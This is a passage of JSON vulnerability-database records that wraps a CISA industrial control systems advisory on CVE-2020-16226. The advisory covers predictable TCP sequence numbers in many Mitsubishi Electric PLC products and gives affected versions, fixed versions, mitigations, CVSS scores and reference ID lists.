Strategies](<https://us-cert.cisa.gov/ics/tips/ICS-TIP-12-146-01B>). \n \nOrganizations observing any suspected malicious activity should follow their established internal procedures and report their findings to CISA for tracking and correlation against other incidents.\n\nNo known public exploits specifically target this vulnerability.\n\n## \nContact Information\n\nFor any questions related to this report, please contact the CISA at: \n \nEmail: [CISAservicedesk@cisa.dhs.gov](<mailto:cisaservicedesk@cisa.dhs.gov>) \nToll Free: 1-888-282-0870\n\nFor industrial control systems cybersecurity information: https://us-cert.cisa.gov/ics \nor incident reporting: https://us-cert.cisa.gov/report\n\nCISA continuously strives to improve its products and services. You can help by choosing one of the links below to provide feedback about this product.\n\nThis product is provided subject to this Notification and this [Privacy &amp; Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ics/advisories/icsa-20-245-01>); we'd welcome your feedback.\n", "published": "2021-05-18T00:00:00", "modified": "2021-05-18T00:00:00", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://www.us-cert.gov/ics/advisories/icsa-20-245-01", "reporter": "Industrial Control Systems Cyber Emergency Response Team", "references": ["https://twitter.com/share?url=https%3A%2F%2Fus-cert.cisa.gov%2Fics%2Fadvisories%2Ficsa-20-245-01", "https://www.facebook.com/sharer.php?u=https%3A%2F%2Fus-cert.cisa.gov%2Fics%2Fadvisories%2Ficsa-20-245-01", "http://www.addthis.com/bookmark.php?url=https%3A%2F%2Fus-cert.cisa.gov%2Fics%2Fadvisories%2Ficsa-20-245-01", "https://cwe.mitre.org/data/definitions/342.html", "http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-16226", "https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "https://www.mitsubishielectric.com/fa/support/index.html", "https://us-cert.cisa.gov/ics/alerts/ICS-ALERT-10-301-01", "https://us-cert.cisa.gov/ics/recommended-practices", "https://us-cert.cisa.gov/", "https://us-cert.cisa.gov/sites/default/files/recommended_practices/NCCIC_ICS-CERT_Defense_in_Depth_2016_S508C.pdf", "https://us-cert.cisa.gov/ics", "https://us-cert.cisa.gov/ics/tips/ICS-TIP-12-146-01B", "https://www.dhs.gov/privacy-policy", "https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ics/advisories/icsa-20-245-01", "http://twitter.com/icscert", "https://www.dhs.gov", "https://www.dhs.gov/freedom-information-act-foia", "https://www.dhs.gov/homeland-security-no-fear-act-reporting", "https://www.dhs.gov/plain-writing-dhs", "https://www.dhs.gov/plug-information", "https://www.oig.dhs.gov/", "https://www.whitehouse.gov/", "https://www.usa.gov/", "https://www.dhs.gov/"], "cvelist": ["CVE-2020-16226"], "immutableFields": [], "lastseen": "2021-05-18T15:54:58", "history": [], "viewCount": 28, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2020-16226"]}, {"type": "zdi", "idList": ["ZDI-20-1207"]}, {"type": "cisa", "idList": ["CISA:03474AC9A54A16F5E0165BCB8159672D", "CISA:471D198D972C207AEFBE8BBB6FC03556", "CISA:233EB544CCBC7DC66D2807ABB33D3942", "CISA:4E2D1FA9D66F4A7FC1561FE97CD82519", "CISA:760A29814AE6221A91510E2E20DC32C2", "CISA:FBA9F0FD6C179AE0977B321FB583CE11", "CISA:6B1EA080153B2D17F791E775CB088E35", "CISA:BBC8CB89B4C8CCBD100D453154EA5234", "CISA:6F6A9A0A68B5406561A4301CB4A04371", "CISA:DA5A2A4E0D121B324D90859CBF19CF63", "CISA:9E80124CDC8CC947B75664C7333A3E3F", "CISA:5D6767E5B5049DB9765E2FC04B1D3A9F", "CISA:C46FF9F7C221FE95833EEFCFA4081DFA", "CISA:6BC1D304A88B0A0DD750EDF8ED7909FE", "CISA:F035A8786D4A5734F1465341C3DAADC6", "CISA:172B5F83DD556F59A00F74FA316622CA", "CISA:DD169CBF5F686DB9FF012C3BE4CA2BAF", "CISA:64EE2610B7600DA092DBD071FA435A59", "CISA:1E08E916F951022646727F64479C4200", "CISA:EC0D01B00837E09254630FFDA9B15112", "CISA:CD8446942109A8B73B5DC4DBDC2F7C53", "CISA:7103EA9D753A2A4AD3E00D37CF4345D7", "CISA:FCE6259F67636D72941CC3403522E796", "CISA:24E88ED600C33B59E10103DAAFB395BE", "CISA:4CA744242533EA980240D07CC5A48867", "CISA:84328DEDD3847FB70F77888EAF8A22E7", "CISA:608C858ABD3DE5E4CEF77A1F5FFF0B5B", "CISA:59A1E4EB0D7E02BC866626399F96EE32", "CISA:9519DA89408F3C424FB8FB94D9BB76CA", "CISA:E396860329C19B51139E80BF9C1054C2", "CISA:7058F9D5403C3503F677936980590F02", "CISA:8E71DA65FF4119ADA0E22CC5A76C7037", "CISA:0D7BF47142EC63C1BA530E8799FF6599", "CISA:CC1A0BA4FED3FD029B2E4F856A8B8372", "CISA:FCB4B9C4CB605F6B805399E8D3B54A48", "CISA:E6C9F3AEB9F1ED44E28A24F33DD58793", "CISA:C8D0596C1E7D272B2155E4148C7D77BD", "CISA:80E9EEE3CC8486E352D0F51AE7615954", "CISA:374B105C289CECEBE37852514EEBDF8A", "CISA:15644082EE1091DE63A034692674191B", "CISA:AB9A7E5283AC7FAD51E9C800E8885772", "CISA:D60966BE655111EBA29DC6C8260FE3AE", "CISA:693B044FDDCFA4A7898F3E61FABEAA11", "CISA:80C9EF5B8D4EF34CADBC10E4BAA70F8E", "CISA:EC62A74EF05E5EAA8532BCF3B967099B", "CISA:7AF57F2CD942B817EC610DF7EBDB5C4E", "CISA:545DC224D9E30A360878850089330B87", "CISA:7C29FB69AB70C0C79D91F6369E452482", "CISA:7AAEEC4B486A54DC6272D12B9F616E8C", "CISA:5D23B35086C3776EFCFE6EC4B2F6BD0D", "CISA:903CF65EBDDEC93252AE0A3946FD9729", "CISA:A6237FA9D7A2EED6D0D4AEB00BA7D3A8", "CISA:DAADDD4DD0D8C599EBFBD95E75EF30BF", "CISA:3268E31B15E16BAA4E71245BA9ABD82B", "CISA:3BA3056C0F2CCFB4E36C7BE39BDEFCE5", "CISA:452D43AC6599B76DF22B4805470283C8", "CISA:5A1842F4F151B146F21F00A1F7DA1239", "CISA:661D625364A734B7ECF04C527904F810", "CISA:0AEF5AF7D58C62310CE1BCEFD9A0AEDA", "CISA:4C88086BED86BEF93AA1665D3461B326", "CISA:74A766560579F9BB278AB9B31067C21A", "CISA:656B9066C4393A83E43A13C3FE933EFC", "CISA:E9166F236CB91AEE0B01B29E10F6A051", "CISA:2FCD5288788BDA3C5BDF60DF01BF6F10", "CISA:A98ACB9F482232F3C6CA9BAC34B0056F", "CISA:7E897E690C1BD7DED69DB8378D794727", "CISA:277D8432679D6449A041DB95327F6382", "CISA:30739F1B87AC3A1F33A982C7DA126C09", "CISA:11E2D2D7D550101256D610E3C379B93B", "CISA:0514F8F63681086656BAAC846DDDD27F", "CISA:0254D82AE89D65141A1F2A6997DDCE79", "CISA:D45D9EFCE62C1989CF5994B3AB2D2689", "CISA:78BE6A41B7E093EB7841A52279D01AE1", "CISA:8012376262FFBCAA3DBEE889B5EE4625", "CISA:738E895653431BA6DB0FF2FA99A11DCD", "CISA:4F2AC8A9CDD56B2E7046AD80A6A8FE4C", "CISA:E20C2AB960770B11783CBD71A226F5FE", "CISA:0A5A514AB2FE2517473C7536B68E2B65", "CISA:67F345B770140B471E56B65DC8AC7410", "CISA:279843906EF66A9B2F45700AA43FE7AD", "CISA:85A8844DD6E34970BB12CBBBAE5C50A6", "CISA:A81C7834D6F4D9C85AA1C7992FC4A376", "CISA:66660022272AD81C0BBF1D9FC7B46C39", "CISA:20637CA4B5E0F714770705AC540E0177", "CISA:5A6555A50E853215F317FA2E060C9BD7", "CISA:E801920B169B70BE24E69AD221CB53DC", "CISA:F7A990C5C39F89309ED1BF50A7FC8527", "CISA:0F1DCC56B7E55DC6009518A3A46161E9", "CISA:C0CACEB1478350F6619E3D73E41273B2", "CISA:EDA97ACDCB0E1751CDB2EED2AC6C684E", "CISA:5D97D8EA46BA6324B68083B7C77EB6CB", "CISA:386DB6A666B2A163371803C1B1E11729", "CISA:C16FB83FD22255EA63DA7F481AF5D64F", "CISA:AC3D15AF20048108C8E9C268C3DB28AA", "CISA:FCF5F5E07B2E0735B7B5186615CABD75", "CISA:931C4B65156698E92C5A183C30284F30", "CISA:3380BE18C02B971F0A40E8CCD995FA41", "CISA:AB85B9592CABD6DED8FEF05C6E10C380", "CISA:6044A8FD6C66655B9399733A0C3C9E1E", "CISA:CA32660105CD7A575CEEFBAE2FD5615F"]}], "modified": "2021-05-18T15:54:58", "rev": 2}, "score": {"value": 6.7, "vector": "NONE", "modified": "2021-05-18T15:54:58", "rev": 2}}, "objectVersion": "1.5"}, "lastseen": "2021-05-18T15:54:58", "differentElements": ["cvss2", "cvss3"], "edition": 8}, {"bulletin": {"id": "ICSA-20-245-01", "hash": "3f344ec517168dc77f8cdde12e33bf30", "type": "ics", "bulletinFamily": "info", "title": "Mitsubishi Electric Multiple Products (Update B)", "description": "## 1\\. EXECUTIVE SUMMARY\n\n * **CVSS v3 7.3**\n * **ATTENTION: **Exploitable remotely/low attack complexity\n * **Vendor:** Mitsubishi Electric\n * **Equipment: **Multiple Products\n * **Vulnerability: **Predictable Exact Value from Previous Values\n\n## 2\\. UPDATE INFORMATION\n\nThis updated advisory is a follow-up to the advisory update titled ICSA-20-245-01 Mitsubishi Electric Multiple Products (Update A) that was published January 26, 2021, to the ICS webpage on us-cert.cisa.gov.\n\n## 3\\. RISK EVALUATION\n\nSuccessful exploitation of this vulnerability could be used to hijack TCP sessions and allow remote command execution.\n\n## 4\\. TECHNICAL DETAILS\n\n### 4.1 AFFECTED PRODUCTS\n\n * QJ71MES96, all versions\n * QJ71WS96, all versions\n * Q06CCPU-V, all versions\n * Q24DHCCPU-V, all versions\n * Q24DHCCPU-VG, all versions\n * R12CCPU-V, Version 13 and prior\n * RD55UP06-V, Version 09 and prior\n * RD55UP12-V, Version 01\n * RJ71GN11-T2, Version 11 and prior\n * RJ71EN71, all versions\n * QJ71E71-100, all versions\n * LJ71E71-100, all versions\n * QJ71MT91, all versions\n * RD78Gn(n=4,8,16,32,64), all versions\n * RD78GHV, all versions\n * RD78GHW, all versions\n * NZ2GACP620-60, all versions\n * NZ2GACP620-300, all versions\n * NZ2FT-MT, all versions\n * NZ2FT-EIP, all versions\n * Q03UDECPU, the first 5 digits of serial number 22081 and prior\n * QnUDEHCPU(n=04/06/10/13/20/26/50/100), the first 5 digits of serial number 22081 and prior\n * QnUDVCPU(n=03/04/06/13/26), the first 5 digits of serial number 22031 and prior\n * QnUDPVCPU(n=04/06/13/26), the first 5 digits of serial number 22031 and prior\n * LnCPU(-P)(n=02/06/26), the first 5 digits of serial number 22051 and prior\n * L26CPU-(P)BT, the first 5 digits of serial number 22051 and prior\n * RnCPU(n=00/01/02), Version 18 and prior\n * RnCPU(n=04/08/16/32/120), Version 50 and prior\n * RnENCPU(n=04/08/16/32/120), Version 50 and prior\n * RnSFCPU (n=08/16/32/120), Version 22 and prior\n * RnPCPU(n=08/16/32/120), Version 24 and prior\n * RnPSFCPU(n=08/16/32/120), Version 05 and prior\n * FX5U(C)-**M*/** \n * Case1: Serial number 17X**** or later: Version 1.210 and prior\n * Case2: Serial number 179**** and prior: Version 1.070 and prior\n * FX5UC-32M*/**-TS, Version 1.210 and prior\n * FX5UJ-**M*/**, Version 1.000\n * FX5-ENET, Version 1.002 and prior\n * FX5-ENET/IP, Version 1.002 and prior\n * FX3U-ENET-ADP, Version 1.22 and prior\n * FX3GE-**M*/**, the first 3 digits of serial number 20X and prior\n * FX3U-ENET, Version 1.14 and prior\n * FX3U-ENET-L, Version 1.14 and prior\n * FX3U-ENET-P502, Version 1.14 and prior\n * FX5-CCLGN-MS, Version 1.000\n * IU1-1M20-D, all versions\n * LE7-40GU-L, all versions\n * GOT2000 Series GT21 Model, all versions\n * GS Series, all versions\n * GOT1000 Series GT14 Model, all versions\n * GT25-J71GN13-T2, all versions\n * FR-A800-E Series, production date December 2020 and prior\n * FR-F800-E Series, production date December 2020 and prior\n * FR-A8NCG, Production date August 2020 and prior\n * FR-E800-EPA Series, Production date July 2020 and prior\n * FR-E800-EPB Series, Production date July 2020 and prior\n * Conveyor Tracking Application APR-nTR3FH, APR-nTR6FH, APR-nTR12FH, APR-nTR20FH(n=1,2), all versions (Discontinued product)\n * MR-JE-C, all versions\n * MR-J4-TM, all versions\n\n**\\--------- Begin Update B Part 1 of 2 ---------**\n\n * RJ71EN71, Version 48 and prior\n * QJ71E71-100, the first 5 digits of serial number 21092 and prior\n * LJ71E71-100, the first 5 digits of serial number 21092 and prior\n * QJ71MT91, the first 5 digits of serial number 20082 and prior\n * NZ2GACP620-60, Version 1.03D and prior\n * NZ2GACP620-300, Version 1.03D and prior\n * GT25-J71GN13-T2, Version 03 and prior\n\n**\\--------- End Update B Part 1 of 2---------**\n\n### 4.2 VULNERABILITY OVERVIEW\n\n#### 4.2.1 [PREDICTABLE EXACT VALUE FROM PREVIOUS VALUES CWE-342](<https://cwe.mitre.org/data/definitions/342.html>)\n\nThe affected products are vulnerable to impersonation of a legitimate device by a malicious actor, which may allow an attacker to remotely execute arbitrary commands.\n\n[CVE-2020-16226](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-16226>) has been assigned to this vulnerability. A CVSS v3 base score of 7.3 has been calculated; the CVSS vector string is ([AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L](<https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L>)).\n\n### 4.3 BACKGROUND\n\n * **CRITICAL INFRASTRUCTURE SECTORS:** Critical Manufacturing\n * **COUNTRIES/AREAS DEPLOYED:** Worldwide\n * **COMPANY HEADQUARTERS LOCATION:** Japan\n\n### 4.4 RESEARCHER\n\nTa-Lun Yen of TXOne IoT/ICS Security Research Labs of Trend Micro, working with Trend Micro\u2019s Zero Day Initiative, reported this vulnerability to CISA.\n\n## 5\\. MITIGATIONS\n\nMitsubishi Electric recommends that users take the following mitigation measures to minimize the risk of exploiting this vulnerability:\n\n * Use a firewall or VPN, etc. to prevent unauthorized access when Internet access is required.\n * Use within a LAN and ensure that they are not accessible from untrusted networks and hosts.\n * Install an antivirus software in your personal computer that can access the product.\n\nMitsubishi also recommends users update the following products to their respective versions: \n\n * R12CCPU-V, Version 14 or later\n * RD55UP06-V, Version 10 or later\n * RD55UP12-V, Version 02 or later\n * RJ71GN11-T2, Version 12 or later\n * Q03UDECPU, the first 5 digits of serial number 22082 or later\n * QnUDEHCPU(n=04/06/10/13/20/26/50/100), the first 5 digits of serial number 22082 or later\n * QnUDVCPU(n=03/04/06/13/26), the first 5 digits of serial number 22032 or later\n * QnUDPVCPU(n=04/06/13/26), the first 5 digits of serial number 22032 or later\n * LnCPU(-P)(n=02/06/26), the first 5 digits of serial number 22052 or later\n * L26CPU-(P)BT, the first 5 digits of serial number 22052 or later\n * RnSFCPU (n=08/16/32/120), Version 23 or later\n * RnPSFCPU(n=08/16/32/120), Version 06 or later\n * RnPCPU(n=08/16/32/120), Version 25 or later\n\nRnCPU(n=00/01/02), Version 18 and prior: Update to Version 19 or later\n\n * RnCPU(n=04/08/16/32/120), Version 50 and prior. Please update to Version 51 or later\n * RnENCPU(n=04/08/16/32/120), Versions 50 and prior: Update to Version 51 or later\n * FX5U(C)-**M*/** \n * Case1: Serial number 17X**** or later, Version 1.210 and prior: Update to Version 1.211 or later\n * Case2: Serial number 179**** and prior, Version 1.070 and prior: Update to Version 1.071 or later\n * FX5UC-32M*/**-TS, Version 1.210 and prior: Update to Version 1.211 or later\n * FX5UJ-**M*/**, Version 1.000: Update to Version 1.001 or later\n * FX5-ENET, Version 1.003 or later\n * FX5-ENET/IP, Version 1.003 or later\n * FX3U-ENET-ADP, Version 1.24 or later\n * FX3GE-**M*/**, the first 3 digits of serial number 20Y or later\n * FX3U-ENET, Version 1.16 or later\n * FX3U-ENET-L, Version 1.16 or later\n * FX3U-ENET-P502, Version 1.16 or later\n * FX5-CCLGN-MS, Version 1.001 or later\n * FR-A800-E Series, production date January 2021 or later\n * FR-F800-E Series, production date January 2021 or later\n * FR-A8NCG, production date September 2020 or later\n * FR-E800-EPA Series, production date August 2020 or later\n * FR-E800-EPB Series, production date August 2020 or later\n\n**\\--------- Begin Update B Part 2 of 2 ---------**\n\n * RJ71EN71, Version 49 or later\n * QJ71E71-100, the first 5 digits of serial number 22102 or later\n * LJ71E71-100, the first 5 digits of serial number 22102 or later\n * QJ71MT91, the first 5 digits of serial number 22102 or later\n * NZ2GACP620-60, Version 1.04E or later\n * NZ2GACP620-300, Version 1.04E or later\n * GT25-J71GN13-T2, Version 04 or later\n\nPlease contact a [Mitsubishi Electric representative](<https://www.mitsubishielectric.com/fa/support/index.html>) for more information.\n\n**\\--------- End Update B Part 2 of 2 ---------**\n\nCISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability. Specifically, users should:\n\n * Minimize network exposure for all control system devices and/or systems, and ensure that they are [not accessible from the Internet](<https://us-cert.cisa.gov/ics/alerts/ICS-ALERT-10-301-01>).\n * Locate control system networks and remote devices behind firewalls, and isolate them from the business network.\n * When remote access is required, use secure methods, such as Virtual Private Networks (VPNs), recognizing that VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize that VPN is only as secure as the connected devices.\n\nCISA also provides a section for [control systems security recommended practices](<https://us-cert.cisa.gov/ics/recommended-practices>) on the ICS webpage on [us-cert.cisa.gov](<https://us-cert.cisa.gov/>). Several recommended practices are available for reading and download, including [Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies](<https://us-cert.cisa.gov/sites/default/files/recommended_practices/NCCIC_ICS-CERT_Defense_in_Depth_2016_S508C.pdf>).\n\nAdditional mitigation guidance and recommended practices are publicly available on the [ICS webpage on us-cert.cisa.gov](<https://us-cert.cisa.gov/ics>) in the Technical Information Paper, [ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies](<https://us-cert.cisa.gov/ics/tips/ICS-TIP-12-146-01B>). \n \nOrganizations observing any suspected malicious activity should follow their established internal procedures and report their findings to CISA for tracking and correlation against other incidents.\n\nNo known public exploits specifically target this vulnerability.\n\n## \nContact Information\n\nFor any questions related to this report, please contact the CISA at: \n \nEmail: [CISAservicedesk@cisa.dhs.gov](<mailto:cisaservicedesk@cisa.dhs.gov>) \nToll Free: 1-888-282-0870\n\nFor industrial control systems cybersecurity information: https://us-cert.cisa.gov/ics \nor incident reporting: https://us-cert.cisa.gov/report\n\nCISA continuously strives to improve its products and services. You can help by choosing one of the links below to provide feedback about this product.\n\nThis product is provided subject to this Notification and this [Privacy &amp; Use](<https://www.dhs.gov/privacy-policy>) policy.\n\n**Please share your thoughts.**\n\nWe recently updated our anonymous [product survey](<https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ics/advisories/icsa-20-245-01>); we'd welcome your feedback.\n", "published": "2021-05-18T00:00:00", "modified": "2021-05-18T00:00:00", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {"acInsufInfo": false, "cvssV2": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0"}, "exploitabilityScore": 10.0, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "severity": "HIGH", "userInteractionRequired": false}, "cvss3": {"cvssV3": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 5.9}, "href": "https://www.us-cert.gov/ics/advisories/icsa-20-245-01", "reporter": "Industrial Control Systems Cyber Emergency Response Team", "references": ["https://twitter.com/share?url=https%3A%2F%2Fus-cert.cisa.gov%2Fics%2Fadvisories%2Ficsa-20-245-01", "https://www.facebook.com/sharer.php?u=https%3A%2F%2Fus-cert.cisa.gov%2Fics%2Fadvisories%2Ficsa-20-245-01", "http://www.addthis.com/bookmark.php?url=https%3A%2F%2Fus-cert.cisa.gov%2Fics%2Fadvisories%2Ficsa-20-245-01", "https://cwe.mitre.org/data/definitions/342.html", "http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2020-16226", "https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "https://www.mitsubishielectric.com/fa/support/index.html", "https://us-cert.cisa.gov/ics/alerts/ICS-ALERT-10-301-01", "https://us-cert.cisa.gov/ics/recommended-practices", "https://us-cert.cisa.gov/", "https://us-cert.cisa.gov/sites/default/files/recommended_practices/NCCIC_ICS-CERT_Defense_in_Depth_2016_S508C.pdf", "https://us-cert.cisa.gov/ics", "https://us-cert.cisa.gov/ics/tips/ICS-TIP-12-146-01B", "https://www.dhs.gov/privacy-policy", "https://www.surveymonkey.com/r/CISA-cyber-survey?product=https://us-cert.cisa.gov/ics/advisories/icsa-20-245-01", "http://twitter.com/icscert", "https://www.dhs.gov", "https://www.dhs.gov/freedom-information-act-foia", "https://www.dhs.gov/homeland-security-no-fear-act-reporting", "https://www.dhs.gov/plain-writing-dhs", "https://www.dhs.gov/plug-information", "https://www.oig.dhs.gov/", "https://www.whitehouse.gov/", "https://www.usa.gov/", "https://www.dhs.gov/"], "cvelist": ["CVE-2020-16226"], "immutableFields": [], "lastseen": "2021-07-28T18:22:52", "history": [], "viewCount": 28, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2020-16226"]}, {"type": "nessus", "idList": ["OT_500429.NASL"]}, {"type": "zdi", "idList": ["ZDI-20-1207"]}, {"type": "cisa", "idList": ["CISA:357F2FA3D140193CF6FAF5F4C586DF68", "CISA:8D4E47E35CF02BB9F5EA4D563571A444", "CISA:FCF5F5E07B2E0735B7B5186615CABD75", "CISA:0254D82AE89D65141A1F2A6997DDCE79", "CISA:549F8E3E763A892AAD6E550247F5CEE7", "CISA:30739F1B87AC3A1F33A982C7DA126C09", "CISA:6F90BF95A38ADA746461AC777185FCDC", "CISA:5C80091CC071D6FD450E21331B462D2C", "CISA:4C88086BED86BEF93AA1665D3461B326", "CISA:AC47473C05040A9BBC65A55EB53D3ADA", "CISA:1E08E916F951022646727F64479C4200", "CISA:AB9A7E5283AC7FAD51E9C800E8885772", "CISA:C0680147E070CCC4182A654B22694B78", "CISA:172B5F83DD556F59A00F74FA316622CA", "CISA:19C593C92D727EC1EC9F926E32DCD929", "CISA:1B5228C56E8D8ABD7F677E1A06E9E5A1", "CISA:E801920B169B70BE24E69AD221CB53DC", "CISA:6BC1D304A88B0A0DD750EDF8ED7909FE", "CISA:09A92EA8AE0EF4B7759F2EBC3A4F193A", "CISA:2CEE4CF2F9180C82F95F7139DF483DD7", "CISA:15644082EE1091DE63A034692674191B", "CISA:451A1CEFFBC109922D355B58C3C14AF3", "CISA:5A6555A50E853215F317FA2E060C9BD7", "CISA:815201F097B695D56926297AA3511556", "CISA:158DE37386D0DA66B5D52686D8F31B2C", "CISA:EFF038C5AAEC59B137E616CB97D7DFEB", "CISA:EC62A74EF05E5EAA8532BCF3B967099B", "CISA:2E71C938D22B734579836ABF66C6A240", "CISA:E6C9F3AEB9F1ED44E28A24F33DD58793", "CISA:5A1842F4F151B146F21F00A1F7DA1239", "CISA:96AE23BE10329B6ADEC64BA80101E2DC", "CISA:8E71DA65FF4119ADA0E22CC5A76C7037", "CISA:AB85B9592CABD6DED8FEF05C6E10C380", "CISA:F5C280B27DFEA5DF8B502E95AE835449", "CISA:20637CA4B5E0F714770705AC540E0177", "CISA:0AEF5AF7D58C62310CE1BCEFD9A0AEDA", "CISA:E20C2AB960770B11783CBD71A226F5FE", "CISA:6044A8FD6C66655B9399733A0C3C9E1E", "CISA:FBA9F0FD6C179AE0977B321FB583CE11", "CISA:3FD7026EC6673B4969CA5D1F9B34EEEF", "CISA:84328DEDD3847FB70F77888EAF8A22E7", "CISA:8EE0D3DDE443294FC57AE95CD2BE9496", "CISA:374B105C289CECEBE37852514EEBDF8A", "CISA:D29E0404BC429DD1D3DE2B32A87B0D89", "CISA:C16FB83FD22255EA63DA7F481AF5D64F", "CISA:D85B512873F9DC1AB0A2681538F76AC8", "CISA:656B9066C4393A83E43A13C3FE933EFC", "CISA:341426EFF6D9B3558EFAB689E6688CDA", "CISA:FCB4B9C4CB605F6B805399E8D3B54A48", "CISA:738E895653431BA6DB0FF2FA99A11DCD", "CISA:1C1846CCFCCDBEDD217EDFFD0964FDB7", "CISA:F035A8786D4A5734F1465341C3DAADC6", "CISA:8A0CF43D7E3583F4214E2AB39090861D", "CISA:DEB0A96F44426F64A9116B1639D11934", "CISA:4F3E7CB7809E06F9D13DE4832CD17615", "CISA:903CF65EBDDEC93252AE0A3946FD9729", "CISA:9623C475514F89981C3D4951C38C1F6C", "CISA:DA5A2A4E0D121B324D90859CBF19CF63", "CISA:5D97D8EA46BA6324B68083B7C77EB6CB", "CISA:452D43AC6599B76DF22B4805470283C8", "CISA:10A9380826622B5A8A82C42FF3EDDD03", "CISA:931C4B65156698E92C5A183C30284F30", "CISA:661D625364A734B7ECF04C527904F810", "CISA:E9166F236CB91AEE0B01B29E10F6A051", "CISA:E771F3B0CC997DDB49B8399C3322660E", "CISA:9519DA89408F3C424FB8FB94D9BB76CA", "CISA:78BE6A41B7E093EB7841A52279D01AE1", "CISA:4F2AC8A9CDD56B2E7046AD80A6A8FE4C", "CISA:80C9EF5B8D4EF34CADBC10E4BAA70F8E", "CISA:2555F41102F1ABBF816415E9AAAF2EE4", "CISA:0F1DCC56B7E55DC6009518A3A46161E9", "CISA:4CA744242533EA980240D07CC5A48867", "CISA:710C3BCD36DECC727E05C9F2D06245BD", "CISA:5D6767E5B5049DB9765E2FC04B1D3A9F", "CISA:10F5C2047549149C936551E04A6F7EEF", "CISA:5AC1588BD7DD43517C55894C97C6E600", "CISA:91F3273CEAA47BF90CBB16A4CAF6C25D", "CISA:AC3D15AF20048108C8E9C268C3DB28AA", "CISA:CA32660105CD7A575CEEFBAE2FD5615F", "CISA:7C29FB69AB70C0C79D91F6369E452482", "CISA:9B58143CB1FD1E45601648306AA85A9C", "CISA:52BC178618CB44A2FF8C25B3A4044AF0", "CISA:386DB6A666B2A163371803C1B1E11729", "CISA:0D7BF47142EC63C1BA530E8799FF6599", "CISA:CC6E9982C44280D991983541BE027AF1", "CISA:471D198D972C207AEFBE8BBB6FC03556", "CISA:458EA5D08A84F1F0CD27FEDFDAD0A908", "CISA:6A3F61943708B8DDB9B37DA9A1A06C84", "CISA:545DC224D9E30A360878850089330B87", "CISA:693B044FDDCFA4A7898F3E61FABEAA11", "CISA:4E2D1FA9D66F4A7FC1561FE97CD82519", "CISA:85A8844DD6E34970BB12CBBBAE5C50A6", "CISA:C46FF9F7C221FE95833EEFCFA4081DFA", "CISA:279843906EF66A9B2F45700AA43FE7AD", "CISA:66660022272AD81C0BBF1D9FC7B46C39", "CISA:3D7D846E9EA87624CD95AD201CAB733D", "CISA:7AAEEC4B486A54DC6272D12B9F616E8C", "CISA:FCE6259F67636D72941CC3403522E796", "CISA:5D23B35086C3776EFCFE6EC4B2F6BD0D", "CISA:81589164E14D8F65B5C9503C3E427EEB"]}], "modified": "2021-07-28T18:22:52", "rev": 2}, "score": {"value": 6.6, "vector": "NONE", "modified": "2021-07-28T18:22:52", "rev": 2}}, "objectVersion": "1.6"}, "lastseen": "2021-07-28T18:22:52", "differentElements": ["description", "modified", "published", "title"], "edition": 9}], "viewCount": 28, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2020-16226"]}, {"type": "nessus", "idList": ["OT_500429.NASL"]}, {"type": "zdi", "idList": ["ZDI-20-1207"]}, {"type": "cisa", "idList": ["CISA:15644082EE1091DE63A034692674191B", "CISA:C16FB83FD22255EA63DA7F481AF5D64F", "CISA:91F3273CEAA47BF90CBB16A4CAF6C25D", "CISA:DEB0A96F44426F64A9116B1639D11934", "CISA:905862D06A12885D320AAA87B307C2BD", "CISA:0F1DCC56B7E55DC6009518A3A46161E9", "CISA:9519DA89408F3C424FB8FB94D9BB76CA", "CISA:1C1846CCFCCDBEDD217EDFFD0964FDB7", "CISA:1B5228C56E8D8ABD7F677E1A06E9E5A1", "CISA:10A9380826622B5A8A82C42FF3EDDD03", "CISA:693B044FDDCFA4A7898F3E61FABEAA11", "CISA:452D43AC6599B76DF22B4805470283C8", "CISA:AB85B9592CABD6DED8FEF05C6E10C380", "CISA:661D625364A734B7ECF04C527904F810", "CISA:E335C04A00212C565A19E616CC094990", "CISA:E20C2AB960770B11783CBD71A226F5FE", "CISA:8EE0D3DDE443294FC57AE95CD2BE9496", "CISA:545DC224D9E30A360878850089330B87", "CISA:80C9EF5B8D4EF34CADBC10E4BAA70F8E", "CISA:5AC1588BD7DD43517C55894C97C6E600", "CISA:5D23B35086C3776EFCFE6EC4B2F6BD0D", 